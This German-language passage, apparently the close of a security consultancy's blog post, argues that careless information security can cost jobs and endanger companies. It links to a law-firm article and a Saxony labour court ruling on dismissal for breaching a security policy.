Umgekehrt kann auch eine zu laxe Handhabung von Informationssicherheit zum Jobverlust führen. In vielen Fällen, in denen wir Kunden bei der Bewältigung von Sicherheitsvorfällen unterstützen, stehen die Existenz des Unternehmens und damit auch Arbeitsplätze auf dem Spiel.

Beide Aspekte unterstreichen, dass ein gelebtes Informationssicherheitsmanagement mehr als nur viele geduldige Seiten Text bedeutet.
https://www.ferner-alsdorf.de/wirksame-kuendigung-bei-verstoss-gegen-richtlinie-zur-informationssicherheit/

Link zur Rechtsprechung: https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht=LAG%20Sachsen&Datum=07.04.2022&Aktenzeichen=9%20Sa%20250%2F21